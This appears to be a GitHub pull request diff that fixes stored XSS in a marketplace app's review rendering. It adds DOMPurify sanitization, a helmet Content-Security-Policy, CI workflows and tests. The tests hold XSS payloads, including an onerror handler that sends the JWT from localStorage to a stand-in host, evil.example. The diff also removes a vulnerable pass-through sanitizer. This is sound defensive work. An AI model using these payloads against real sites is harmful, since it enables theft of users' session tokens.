Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: CI

on:
push:
pull_request:

jobs:
test:
runs-on: ubuntu-latest

steps:
- name: Check out the code
uses: actions/checkout@v4

- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'

- name: Install dependencies
run: npm install

- name: Run the test suite
run: npm test
27 changes: 27 additions & 0 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
name: Run Tests

on:
push:
pull_request:

jobs:
test:
runs-on: ubuntu-latest

steps:
- name: Checkout code
uses: actions/checkout@v4

- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: 20

- name: Install root dependencies
run: npm install

- name: Install workspace dependencies
run: npm run install:all

- name: Run tests
run: npm test
7 changes: 7 additions & 0 deletions babel.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
// Lets jest load the project's ESM + JSX source through babel-jest.
module.exports = {
presets: [
['@babel/preset-env', { targets: { node: 'current' } }],
['@babel/preset-react', { runtime: 'automatic' }]
]
};
1 change: 1 addition & 0 deletions client/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
},
"dependencies": {
"axios": "^1.7.4",
"dompurify": "^3.4.17",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.26.2"
Expand Down
19 changes: 11 additions & 8 deletions client/src/lib/sanitize.js
Original file line number Diff line number Diff line change
@@ -1,8 +1,11 @@
// Reviews are rendered as HTML so people can use light formatting (bold, links).
// This helper is the single place review HTML passes through before it is handed
// to React's dangerouslySetInnerHTML.
//
// TODO (security): right now this returns the HTML untouched, so whatever a
// reviewer typed — including <script> and onerror handlers — is injected into
// every viewer's page. Make this strip dangerous markup before it is rendered.
export const sanitizeHtml = (dirty) => dirty;
import DOMPurify from 'dompurify'

const CONFIG = {
ALLOWED_TAGS: ['b', 'strong', 'i', 'em', 'u', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target', 'rel'],
}

export const sanitizeHtml = (dirty) => {
if (typeof dirty !== 'string' || !dirty) return ''
return DOMPurify.sanitize(dirty, CONFIG)
}
28 changes: 28 additions & 0 deletions jest.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// One jest run with two environments:
// - "client" tests run in jsdom (they render React components)
// - "server" tests run in node (they boot the Express app + in-memory Mongo)
// `npm test` runs both.
module.exports = {
projects: [
{
displayName: 'client',
testEnvironment: 'jsdom',
testMatch: ['<rootDir>/tests/client/**/*.test.{js,jsx}'],
setupFilesAfterEnv: ['<rootDir>/tests/setup/jest.setup.js'],
moduleNameMapper: {
'\\.(css|less|scss|sass)$': 'identity-obj-proxy'
},
transform: {
'^.+\\.(js|jsx)$': 'babel-jest'
}
},
{
displayName: 'server',
testEnvironment: 'node',
testMatch: ['<rootDir>/tests/server/**/*.test.js'],
transform: {
'^.+\\.js$': 'babel-jest'
}
}
]
};
30 changes: 30 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions server/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
"cors": "^2.8.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"helmet": "^8.3.0",
"joi": "^17.12.3",
"jsonwebtoken": "^9.0.2",
"mongoose": "^8.6.0",
Expand Down
17 changes: 16 additions & 1 deletion server/src/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,24 @@ import authRoutes from './routes/auth.js';
import listingRoutes from './routes/listings.js';
import userRoutes from './routes/users.js';
import reviewRoutes from './routes/reviews.js';
import helmet from "helmet"


const app = express();

app.use(
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
scriptSrcAttr: ["'none'"],
objectSrc: ["'none'"],
},
},
})
);

app.use(morgan('dev'));
app.use(cors({ origin: 'http://localhost:5175', credentials: false }));
app.use(express.json());
Expand All @@ -30,4 +45,4 @@ app.use((err, req, res, next) => {
res.status(err.status || 500).json({ message: err.message || 'Server Error' });
});

export default app;
export default app;
45 changes: 45 additions & 0 deletions tests/client/reviewList.test.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import { render } from '@testing-library/react';
import ReviewList from '../../client/src/components/ReviewList';

// A review body a malicious user could submit: it tries to run script that
// reads the JWT out of localStorage (the app stores the token there).
const XSS_BODY =
'Nice item! ' +
'<img src=x onerror="window.__xssToken = localStorage.getItem(\'token\')">' +
'<script>window.__xssRan = true</script>' +
'<a href="javascript:alert(1)">click me</a>';

function renderReview(body) {
const reviews = [{ _id: 'r1', rating: 5, author: { name: 'attacker' }, body }];
return render(<ReviewList reviews={reviews} />);
}

describe('ReviewList renders review HTML safely', () => {
test('does not render any <script> element from the review body', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('script')).toBeNull();
});

test('strips inline event-handler attributes such as onerror', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('[onerror]')).toBeNull();
expect(container.querySelector('[onload]')).toBeNull();
expect(container.querySelector('[onclick]')).toBeNull();

const img = container.querySelector('img');
if (img) expect(img.getAttribute('onerror')).toBeNull();
});

test('does not keep javascript: URLs on links', () => {
const { container } = renderReview(XSS_BODY);
const link = container.querySelector('a');
if (link) {
expect((link.getAttribute('href') || '').toLowerCase()).not.toMatch(/^javascript:/);
}
});

test('still renders the benign review text', () => {
const { container } = renderReview(XSS_BODY);
expect(container.textContent).toContain('Nice item!');
});
});
67 changes: 67 additions & 0 deletions tests/server/csp.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import request from 'supertest';
import mongoose from 'mongoose';
import { MongoMemoryServer } from 'mongodb-memory-server';
import app from '../../server/src/app.js';

let mongo;

beforeAll(async () => {
process.env.JWT_SECRET = 'test-secret';
process.env.JWT_EXPIRES_IN = '1h';
mongo = await MongoMemoryServer.create();
await mongoose.connect(mongo.getUri());
}, 60000);

afterAll(async () => {
await mongoose.disconnect();
if (mongo) await mongo.stop();
});

async function registerAndGetToken() {
const res = await request(app)
.post('/api/auth/register')
.send({ name: 'Reviewer', email: `r${Date.now()}@test.dev`, password: 'secret123' });
return res.body.token;
}

describe('Reviews API', () => {
test('a logged-in user can create a review and it can be read back', async () => {
const token = await registerAndGetToken();

const listingRes = await request(app)
.post('/api/listings')
.set('Authorization', `Bearer ${token}`)
.send({ title: 'Used bike', price: 50, category: 'other', condition: 'used' });
expect(listingRes.status).toBe(201);
const listingId = listingRes.body.listing._id;

const payload =
'Great seller! <img src=x onerror="fetch(\'//evil.example/?t=\' + localStorage.getItem(\'token\'))">';
const createRes = await request(app)
.post('/api/reviews')
.set('Authorization', `Bearer ${token}`)
.send({ listing: listingId, rating: 5, body: payload });
expect(createRes.status).toBe(201);

const listRes = await request(app).get('/api/reviews').query({ listing: listingId });
expect(listRes.status).toBe(200);
expect(listRes.body.reviews).toHaveLength(1);
});
});

describe('Content-Security-Policy header', () => {
test('responses send a CSP header', async () => {
const res = await request(app).get('/api/health');
expect(res.headers['content-security-policy']).toBeDefined();
});

test('the CSP restricts scripts to the same origin and blocks inline script', async () => {
const res = await request(app).get('/api/health');
const csp = res.headers['content-security-policy'] || '';

// script-src is present and allows only 'self'
expect(csp).toMatch(/script-src[^;]*'self'/);
// and it must NOT permit inline script (which is how injected XSS runs)
expect(csp).not.toMatch(/script-src[^;]*'unsafe-inline'/);
});
});
2 changes: 2 additions & 0 deletions tests/setup/jest.setup.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
// Adds jest-dom matchers (toBeInTheDocument, etc.) to the client test environment.
require('@testing-library/jest-dom');